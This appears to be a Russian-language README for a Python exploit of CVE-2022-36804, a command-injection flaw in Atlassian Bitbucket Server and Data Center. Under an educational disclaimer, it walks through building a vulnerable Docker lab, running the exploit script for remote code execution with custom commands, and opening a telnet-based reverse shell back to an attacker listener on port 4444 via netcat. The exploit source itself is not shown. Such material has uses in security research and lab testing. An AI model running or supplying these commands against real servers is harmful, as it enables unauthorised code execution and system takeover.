
Эксплойт на Python для CVE-2022-36804, инъекции команд в Atlassian Bitbucket Server и Data Center, позволяющей удаленное выполнение кода с правами на чтение.
⚠️ Только для образовательных и авторизованных целей исследования безопасности
Очень благодарны оригинальному автору PoC Walnut Security Services Pvt. Ltd
Несколько конечных точек API в Atlassian Bitbucket Server и Data Center с версии 7.0.0 до 7.6.17, с 7.7.0 до 7.17.10, с 7.18.0 до 7.21.4, с 8.0.0 до 8.0.3, с 8.1.0 до 8.1.3, с 8.2.0 до 8.2.2, и с 8.3.0 до 8.3.1 позволяют удаленным злоумышленникам с правами чтения на публичный или частный репозиторий Bitbucket выполнять произвольный код путем отправки вредоносного HTTP-запроса. Эта уязвимость была сообщена через нашу программу вознаграждений за найденные ошибки пользователем TheGrandPew.
Сначала клонируйте репозиторий
git clone https://github.com/asepsaepdin/CVE-2022-36804.git
Перейдите в каталог
cd CVE-2022-36804
Соберите уязвимый контейнер
docker build -t CVE-2022-36804 .
Запустите эфемерный контейнер
docker run --rm -it --name CVE-2022-36804 CVE-2022-36804
Проверьте IP-адрес контейнера
docker inspect CVE-2022-36804 | grep "IPAddress"
Настройте Atlassian Bitbucket и создайте новый публичный репозиторий, открыв URL: http://172.17.0.3:7990
Проверьте удаленное выполнение кода (RCE)
python3 cve-2022-36804.py -u http://172.17.0.3:7990
Проверьте RCE с пользовательской командой (cmd)
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
С точки зрения атакующего, удаленное выполнение кода критически важно для получения доступа к интерактивной оболочке. Поэтому выполнение следующей команды инициирует обратный telnet-шелл через TCP на основе bash на систему атакующего на порту 4444/tcp:
python3 cve-2022-36804.py -u http://172.17.0.3:7990 -c 'TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.1 4444 0<$TF | sh 1>$TF'
nc -nlvp 4444